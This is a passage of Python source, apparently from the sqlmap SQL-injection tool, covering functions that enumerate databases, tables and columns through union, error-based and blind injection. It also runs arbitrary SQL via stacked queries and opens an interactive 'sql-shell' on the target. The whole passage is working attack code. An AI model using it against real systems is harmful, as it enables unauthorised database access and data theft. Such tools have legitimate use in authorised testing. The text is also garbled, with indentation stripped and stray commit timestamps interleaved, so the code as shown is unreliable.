if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += tblQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb in foundTbls:
foundTbls[foundDb].append(foundTbl)
else:
foundTbls[foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
query = rootQuery.blind.count
query += tblQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % tbl
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += tblQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
foundDb = inject.getValue(query, inband=False, error=False)
2011-02-10 14:34:16 +03:00
if foundDb not in foundTbls:
foundTbls[foundDb] = []
if tblConsider == "2":
foundTbls[foundDb].append(tbl)
if tblConsider == "2":
continue
for db in foundTbls.keys():
infoMsg = "fetching number of table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (tbl, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % tblQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no table"
if tblConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % tbl
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % tblQuery
query = agent.limitQuery(index, query)
foundTbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = foundTbl
foundTbls[db].append(foundTbl)
return foundTbls
def searchColumn(self):
bruteForce = False
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.col.split(","))
2010-12-27 03:41:16 +03:00
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex))
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("n", "N"):
self.dumpAll()
return
rootQuery = queries[Backend.getIdentifiedDbms()].search_column
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
colConsider, colCondParam = self.likeOrExact("column")
for column in colList:
infoMsg = "searching column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
foundCols[column] = {}
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
query = rootQuery.inband.query
query += colQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for foundDb, foundTbl in values:
2011-02-10 14:34:16 +03:00
if foundDb is None or foundTbl is None:
continue
if foundDb not in dbs:
dbs[foundDb] = {}
if foundTbl not in dbs[foundDb]:
dbs[foundDb][foundTbl] = {}
if colConsider == "1":
conf.db = foundDb
conf.tbl = foundTbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[foundDb][foundTbl].update(kb.data.cachedColumns[foundDb][foundTbl])
kb.data.cachedColumns = {}
else:
dbs[foundDb][foundTbl][column] = None
if foundDb in foundCols[column]:
foundCols[column][foundDb].append(foundTbl)
else:
foundCols[column][foundDb] = [ foundTbl ]
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery.blind.count
query += colQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query
query += colQuery
query += exclDbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False, error=False)
if db not in dbs:
dbs[db] = {}
if db not in foundCols[column]:
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery.blind.count2
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery.blind.query2
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False, error=False)
kb.hintValue = tbl
if tbl not in dbs[db]:
dbs[db][tbl] = {}
if colConsider == "1":
conf.db = db
conf.tbl = tbl
conf.col = column
self.getColumns(onlyColNames=True)
dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
kb.data.cachedColumns = {}
else:
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
self.dumpFoundColumn(dbs, foundCols, colConsider)
def search(self):
if conf.db:
conf.dumper.lister("found databases", self.searchDb())
2008-10-15 19:38:22 +04:00
if conf.tbl:
conf.dumper.dbTables(self.searchTable())
2008-10-15 19:38:22 +04:00
if conf.col:
self.searchColumn()
2008-10-15 19:38:22 +04:00
if not conf.db and not conf.tbl and not conf.col:
errMsg = "missing parameter, provide -D, -T or -C together "
errMsg += "with --search"
raise sqlmapMissingMandatoryOptionException, errMsg
2008-10-15 19:38:22 +04:00
def sqlQuery(self, query):
output = None
sqlType = None
getOutput = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
break
if not self.alwaysRetrieveSqlOutput:
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n/a] "
getOutput = readInput(message, default="Y")
if getOutput in ("a", "A"):
self.alwaysRetrieveSqlOutput = True
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveSqlOutput:
2010-03-31 17:52:51 +04:00
infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
2010-12-18 18:57:47 +03:00
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
2010-10-15 19:37:15 +04:00
warnMsg = "execution of custom SQL queries is only "
warnMsg += "available when stacked queries are supported"
2010-09-25 02:09:33 +04:00
logger.warn(warnMsg)
return None
else:
if sqlType:
2010-03-31 17:52:51 +04:00
infoMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else:
infoMsg = "executing unknown SQL type query: '%s'" % query
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
inject.goStacked(query)
infoMsg = "done"
logger.info(infoMsg)
output = False
return output
2008-10-15 19:38:22 +04:00
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
2008-10-15 19:38:22 +04:00
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
if query.lower() in ( "x", "q", "exit", "quit" ):
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
2008-10-15 19:38:22 +04:00
elif output != "Quit":
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")